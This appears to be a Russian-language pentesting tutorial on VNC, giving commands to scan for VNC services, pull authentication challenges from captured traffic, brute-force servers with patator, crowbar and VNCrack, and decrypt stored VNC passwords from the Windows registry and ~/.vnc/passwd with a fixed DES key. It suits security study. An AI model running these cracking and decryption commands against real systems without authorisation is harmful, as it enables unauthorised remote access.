Аудит безопасности VNC

Аудит безопасности VNC

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

По умолчанию RFB использует диапазон TCP-портов с 5900 до 5906. Каждый порт представляет собой соответствующий экран X-сервера (порты с 5900 по 5906 ассоциированы с экранами с :0 по :6). 

Java Viewer и HTTP VNC используют порт 5800. 

Просмотрщик (клиент) VNC в режиме прослушивания (Listening mode) прослушивает порт 5500. 

Для сканирования сети в поисках VNC серверов и клиентов в режиме прослушивания: 

sudo nmap -p 5500,5800,5900-5906 --open СЕТЬ

Например: 

sudo nmap -p 5500,5800,5900-5906 --open 192.168.43.0/24

Анализ VNC трафика 

Сессии VNC могут быть записаны, например, во время атак человек-посередине. 

Для извлечения challenge и response VNC сессии можно использовать Ettercap

ettercap -Tq -r ФАЙЛ.pcapng

С помощью фильтров Wireshark можно провести детальный анализ VNC сессии: 

Чтобы показать только трафик VNC сессий: 

vnc 

VNC challenge (вызов): 

vnc.auth_challenge 

VNC response (ответ): 

vnc.auth_response 

Результат попытки аутентификации на VNC сервере: 

vnc.auth_result 

Вызов, ответ и результат попытки аутентификации на VNC сервере: 

vnc.auth_challenge or vnc.auth_response or vnc.auth_result

Имя компьютера с VNC сервером: 

vnc.desktop_name 

Позиция кнопок мыши: 

vnc.button_1_pos
vnc.button_2_pos
…………...
vnc.button_8_pos 

Выбранный тип безопасности: 

vnc.client_security_type 

Тип кодирования: 

vnc.client_set_encodings_encoding_type 

Версия VNC протокола клиента: 

vnc.client_proto_ver 

Версия VNC протокола сервера: 

vnc.server_proto_ver 

Ширина Framebuffer: 

vnc.width 

Клавиша: 

vnc.key 

Нажатие клавиши: 

vnc.key_down 

Данные передаваемого видео в формате H.264: 

vnc.h264_data 

Вырезанный текст: 

vnc.client_cut_text

Взлом VNC пароля 

Можно использовать разные приёмы для взлома VNC пароля: 

  • Взлом пароля VNC сессии 
  • Расшифровка сохранённого пароля VNC сервера 
  • Брут-форс пароля сервера VNC 

Взлом пароля VNC сессии

Из захваченной VNC сессии нужно извлечь Authentication challenge и Authentication response. Способ, требующий чуть большей подготовки, но зато использующий скорость Hashcat (самый быстрый офлайн взломщик). 

Если вы не хотите разбираться с методом, описанным для Hashcat, то используйте программу VNCrack

Установка VNCrack

Установка в Kali Linux

wget http://www.phenoelit.org/vncrack/vncrack_s.gz
gunzip vncrack_s.gz
chmod +x vncrack_s
./vncrack_s

 Установка в BlackArch 

sudo pacman -S vncrack

 Установка в Widnows 

Скачайте файл 

http://www.phenoelit.org/vncrack/x4.exe и запустите его в командной строке.

Для взлома с VNCrack достаточно указать вызов, ответ и файл словаря, например, взлом пароля из перехваченной VNC сессии содержащий вызов (-c 894443629f4a9675809cff5da2e84651) и ответ (-r 271d94eb610b5c42588dc53506419e6a), пароли для брут-форса берутся из словаря (-w passwords.txt)

vncrack -c 894443629f4a9675809cff5da2e84651 -r 271d94eb610b5c42588dc53506419e6a -w passwords.txt

Брут-форс серверов VNC 

Рассмотрим программы для брут-форса пароля серверов VNC. 

Сервера VNC отклоняют подключения после нескольких неудачных попыток, поэтому брут-форс VNC нужно выполнять в один поток с большим интервалом между запросами. 

patator 

patator это одна из самых универсальных и гибких в настройке программа для брут-форса. 

В следующем примере время ожидания между запросами установлено на 61 секунду: 

patator vnc_login host=192.168.43.250 password=FILE0 0=passwords.txt -t 1 -x quit:code=0 -x ignore:fgrep='authentication rejected' -x ignore:fgrep='Authentication failure' --rate-limit=61

Примеры ошибок, когда сервер отверг ваше подключение без проверки пароля: 

  • Session setup failed: "Your connection has been rejected. 
  • password check failed! 

Как можно увидеть на следующих скриншотах, несмотря на долгое время брут-форса и парочку сообщений об ошибках, пароли на двух серверах VNC всё таки были подобраны: 

Crowbar 

 Crowbar (ранее известный как Levye) — это инструмент для брут-форса, который может использоваться во время тестов на проникновение. Он создан для поддержки протоколов, которые в настоящее время не поддерживаются в THC-Hydra и другими популярными инструментами брут-форса. 

Установка Crowbar

 Установка в Kali Linux 

sudo apt install crowbar freerdp2-x11 openvpn nmap 

 Установка в BlackArch 

sudo pacman -S crowbar freerdp openvpn nmap 

Пример брут-форса службы VNC на единичном хосте (-s 192.168.86.61/32) со словарём паролей (-C /root/words.txt) используя 1 поток (-n 1)

crowbar -b vnckey -s 192.168.86.61/32 -C /root/words.txt -n 1 

VNCrack 

Об установке программы VNCrack сказано чуть выше. 

Пример запуска брут-форса: 

vncrack -h 192.168.43.250 -w passwords.txt

Расшифровка хранимых VNC паролей 

Сервер VNC хранит пароль на компьютере в закодированном виде. Имеется множество способов извлечь этот пароль. Рассмотрим программы и способы расшифровки сохранённого пароля VNC сервера. 

VNCPassView 

 VNCPassView — это ебольшая утилита для восстановления паролей, сохранённых инструментами VNC. 

Где Windows хранить VNC пароли 

Пароли VNC в Windows хранятся в реестре в следующих ветках (список может быть неполным): 

  • \HKEY_LOCAL_MACHINE\SOFTWARE\TigerVNC\WinVNC4 
  • \HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server 
  • \HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default 
  • \HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\ 
  • \HKEY_CURRENT_USER\Software\TightVNC 
  • \HKEY_CURRENT_USER\Software\TurboVNC 
  • \HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password 
  • \HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3\Password 

Пароль хранится в бинарном виде, его длина 8 байт. 

Для чтения пароля из реестра можно воспользоваться командами для сохранения фрагментов реестра в файлы .reg, например: 

regedit.exe /E winvnc3.reg "HKEY_LOCAL_MACHINE\Software\ORL\WinVNC3\"
regedit.exe /E winvnc4.reg "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4\"

Расшифровка пароля в VNCrack 

С помощью VNCrack можно извлечь закодированный пароль, для этого запустите программу в интерактивном режиме: 

.\x4.exe -W

Затем введите байты пароль — два байта на строку, например так: 

14
cc
ac
84
2f
6f
8d
0d

В результате будет выведена итоговая строка и закодированный пароль: 

Entered HEX String: 14 cc ac 84 2f 6f 8d d
VNC Password: 222222

Где Linux хранить VNC пароли 

В Linux пароли могут храниться где угодно, но файлом по умолчанию является ~/.vnc/passwd. Для его просмотра откройте его любым редактором, способным отображать шестнадцатеричные данные: 

Расшифровка пароля в Linux 

В Linux также можно воспользоваться помощью VNCrack

vncrack -C ~/.vnc/passwd 

Восстановление пароля VNC сервера, хранимого в файле ~/.vnc/passwd

Либо можете воспользоваться способом, который описал Bill Chaison: https://github.com/billchaison/VNCDecrypt. Для этого достаточно запустить команду следующего вида: 

echo -n БАЙТЫ_ПАРОЛЯ | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv 

Например: 

echo -n F0E43164F6C2E373 | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

Скрипты nmap для аудита VNC 

Страница с перечнем NSE (скрипты Nmap): https://nmap.org/nsedoc/. На ней присутствуют следующие скрипты: 

 realvnc-auth-bypass 

Проверяет, уязвим ли VNC-сервер к обходу аутентификации RealVNC (CVE-2006-2369). 

 vnc-brute 

Выполняет брут-форс пароля VNC серверов. 

 vnc-info 

Запрашивает у сервера VNC версию протокола и поддерживаемые типы безопасности. 

 vnc-title 

Пытается войти на сервер VNC и получить имя его рабочего стола. Использует учетные данные, обнаруженные типами аутентификации vnc-brute или None. Если realvnc-auth-bypass был запущен и возвращен VULNERABLE, этот сценарий будет использовать эту уязвимость для обхода аутентификации. 

Для запуска нужно использовать опцию --script, после которой можно указать скрипт, либо несколько скриптов через запятую: 

sudo nmap -p 5500,5800,5900-5906 --script realvnc-auth-bypass,vnc-brute,vnc-info,vnc-title ХОСТ_ИЛИ_СЕТЬ 

Также можно задействовать все скрипты следующим образом: 

sudo nmap -p 5500,5800,5900-5906 --script 'vnc-*' ХОСТ_ИЛИ_СЕТЬ

Источник


Report Page